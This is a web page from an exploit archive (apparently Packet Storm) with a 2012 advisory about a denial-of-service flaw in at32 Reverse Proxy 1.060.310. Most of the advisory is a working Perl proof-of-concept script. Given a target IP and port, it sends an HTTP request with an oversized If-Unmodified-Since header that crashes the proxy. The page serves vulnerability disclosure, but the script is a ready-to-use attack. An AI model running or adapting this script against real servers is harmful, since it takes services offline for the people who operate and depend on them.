exploit the possibilities

at32 Reverse Proxy 1.060.310 Denial Of Service

at32 Reverse Proxy 1.060.310 Denial Of Service
Posted Mar 19, 2012
Authored by demonalex

at32 Reverse Proxy version 1.060.310 suffers from multiple HTTP header field denial of service vulnerabilities.

tags | exploit, web, denial of service, vulnerability
MD5 | eee32c58673d40981fe29cc143d5dadb

at32 Reverse Proxy 1.060.310 Denial Of Service

Change Mirror Download
Title: at32 Reverse Proxy -  Multiple HTTP Header Field Denial Of Service Vulnerability

Product : at32 Reverse Proxy

Version : v1.060.310

Vendor: http://www.at32.com/doc/rproxy.htm

Class: Boundary Condition Error

CVE:

Remote: Yes

Local: No

Published: 2012-03-14

Updated:

Impact : Medium (CVSS2 Base : 6.1, AV:A/AC:L/Au:N/C:N/I:N/A:C)

Bug Description :
At32 Reverse Proxy allows you to host several websites on a single IP or port.
At32 Reverse Proxy contains any denial of service vulnerability about HTTP Header Fields(Such as If-Modified-Since, Server, etc...) in its HTTP Proxy service.

POC:
#-------------------------------------------------------------
#!/usr/bin/perl -w
use Socket;
$|=1;
print '*****************************************'."\n";
print '* At32 Reverse Proxy v1.060.310 DoS PoC *'."\n";
print '* writed by demonalex@163.com *'."\n";
print '*****************************************'."\n";
$evil='A'x10000;
$test_ip=shift; #target ip
$test_port=shift; #target port
if(!defined($test_ip) || !defined($test_port)){
die "usage : $0 target_ip target_port\n";
}
$test_payload=
"GET / HTTP/1.0\r\n".
"Accept: */*\r\n".
"Accept-Language: zh-cn\r\n".
"UA-CPU: x86\r\n".
"If-Unmodified-Since: ".$evil."\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322;".
" .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 360SE)\r\n".
"Host: ".$test_ip."\r\n".
"Connection: Keep-Alive"."\r\n\r\n";
$test_target=inet_aton($test_ip);
$test_target=sockaddr_in($test_port, $test_target);
socket(SOCK, AF_INET, SOCK_STREAM, 6) || die "cannot create socket!\n";
connect(SOCK, $test_target) || die "cannot connect the target!\n";
send(SOCK, $test_payload, 0) || die "cannot send the payload!\n";
#recv(SOCK, $test_payload, 100, 0);
close(SOCK);
print "done!\n";
exit(1);
#-------------------------------------------------------------

Credits : This vulnerability was discovered by demonalex@163.com
mail: demonalex@163.com / ChaoYi.Huang@connect.polyu.hk
Pentester/Researcher
Dark2S Security Team/PolyU.HK

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    22 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    2 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    50 Files
  • 6
    Feb 6th
    24 Files
  • 7
    Feb 7th
    15 Files
  • 8
    Feb 8th
    6 Files
  • 9
    Feb 9th
    1 Files
  • 10
    Feb 10th
    1 Files
  • 11
    Feb 11th
    22 Files
  • 12
    Feb 12th
    25 Files
  • 13
    Feb 13th
    16 Files
  • 14
    Feb 14th
    31 Files
  • 15
    Feb 15th
    10 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close